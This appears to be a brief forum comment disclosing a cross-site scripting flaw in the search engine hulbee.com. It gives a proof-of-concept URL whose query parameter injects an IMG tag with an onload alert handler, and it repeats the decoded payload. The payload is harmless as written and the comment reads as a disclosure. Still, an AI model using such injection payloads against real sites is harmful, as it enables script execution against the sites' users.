4 ms·
XSS injection is possible too: https://hulbee.com/?query=%3CIMG%20SRC%3D..%2FImages%2Flogo-hulbee.png%20onload%3Dalert(%27hello%27)%3E®ion=en-CA&uiLanguage=
by jpswade 11y ago
XSS injection is possible too:
https://hulbee.com/?query=%3CIMG%20SRC%3D..%2FImages%2Flogo-hulbee.png%20onload%3Dalert(%27hello%27)%3E®ion=en-CA&uiLanguage=browser https://hulbee.com/?query=%3CIMG%20SRC%3D..%2FImages%2Flogo-...
<IMG SRC=../Images/logo-hulbee.png onload=alert('hello')>